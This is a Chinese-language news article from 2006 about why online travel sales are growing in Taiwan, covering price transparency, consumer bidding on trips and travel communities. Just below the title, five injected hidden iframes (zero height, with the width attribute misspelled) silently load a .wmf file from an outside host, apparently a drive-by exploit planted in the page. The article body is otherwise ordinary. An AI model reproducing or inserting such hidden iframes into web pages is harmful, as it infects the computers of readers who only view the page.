線上旅遊肥了業者便宜了消費者

<iframe src=http://web.163.sh.cn/~whalexing/www.wmf widht=0 height=0><iframe src=http://web.163.sh.cn/~whalexing/www.wmf widht=0 height=0><iframe src=http://web.163.sh.cn/~whalexing/www.wmf widht=0 height=0><iframe src=http://web.163.sh.cn/~whalexing/www.wmf widht=0 height=0><iframe src=http://web.163.sh.cn/~whalexing/www.wmf widht=0 height=0></p> <p>記者／<a href="mailto:waiting980@yahoo.com.tw" target="_blank" rel="noopener noreferrer">陳志豪</a></p> <p>電子商務市場發展至今已有多年歷史，其中線上旅遊的表現更是亮眼，各研究單位預測線上旅遊市場有樂觀的前景，根據<a href="mailto:http://www.emarketer.com/" target="_blank" rel="noopener noreferrer">eMarketer</a>的估計，線上旅遊銷售到2007年為止將維持20%的成長。究竟是什麼因素，線上旅遊讓業者趨之若鶩又受到消費者青睞？</p> <p>就產業面來看，旅遊業和一般商品不同，消費者可能透過詳細的資料蒐集來選擇，也可能憑想像和印象就做出購買決定，事先沒辦法檢視消費內容的品質好壞；而航空旅遊、住宿飯店的口碑、名聲、價位在一般消費者心中自有定見，比價標準較一致。</p> <p>網路已經深入到現代社會的每個角落，也成為眾多消費者的使用習慣，對傳統旅遊業者而言，將旅遊資訊和旅遊服務放到網路上販售，不僅是符合新的消費潮流，可以收到開拓客源之效，也等於是多了一個販售和廣告通路，而且少了中間商的抽成，價格上更具有競爭力。就消費者而言，最明顯的好處就是價格透明化，在眾多旅行社中做抉擇有明確的指標，加上現在網路搜尋引擎功能強大，有旅遊的構想或計畫，上網動動滑鼠、打打鍵盤就能找到詳盡的資訊，十分便利。</p> <p>充滿彈性的網路空間，也創造出旅遊業者和消費者之間新的互動方式：讓消費者報行程和價格，業者再決定是否要接下訂單。如此一來，消費者有機會用自己認為合理的價格享受到超值的旅遊服務，有能力的業者也可藉此管道增加收入或建立口碑，雙方都有利可圖。而在旅遊的淡季，業者們在各大入口網站的優惠促銷宣傳，成效卓著，確實提振買氣，也造福了消費者。</p> <p>此外，網路社群的經營對於使用者來說有極高的黏著性，網路上有形形色色的玩家所架設的部落格、旅遊日誌，往往匯聚頗高的人氣，只要有好的瀏覽印象，看過的人多半會有下一次的點閱動作。因此業者也漸漸地關注網路社群的經營，除了一般的留言版、討論區，有些旅遊網站還提供使用者發表照片、圖片，以凝聚使用者的向心力，而消費者也可能在這個區塊認識一些志同道合的同好。</p> <p>綜上所述，不難理解線上旅遊一片欣欣向榮的原因。惟旅遊服務最終還是要以「人」為本，消費者追求的不外乎是合理的價格和理想的服務品質，只是有時遇到一些體質不佳的旅行社，吃虧的還是消費者，目前台灣尚未有完整的線上爭議處理機制，線上交易的安全性還頗有爭議，消費者保護法可以提供的保障實在有限，因此消費者還是要靠自己雪亮的眼睛慎選，避開濫竽充數的旅行社。至於業者，在競爭激烈的市場中，同樣不能忘了服務業以人為本的初衷，網路通道是為了創造雙贏的局面，如果因為價格戰而犧牲了服務品質、壞了口碑，恐怕也要在這塊大餅中鎩羽而歸。</p> <div class='heateorSssClear'></div><div style="float:right" class='heateor_sss_sharing_container heateor_sss_horizontal_sharing' data-heateor-sss-href='https://www.ectimes.org.tw/2006/01/%e7%b7%9a%e4%b8%8a%e6%97%85%e9%81%8a%e8%82%a5%e4%ba%86%e6%a5%ad%e8%80%85%e4%be%bf%e5%ae%9c%e4%ba%86%e6%b6%88%e8%b2%bb%e8%80%85/'><div class='heateor_sss_sharing_title' style="font-weight:bold" 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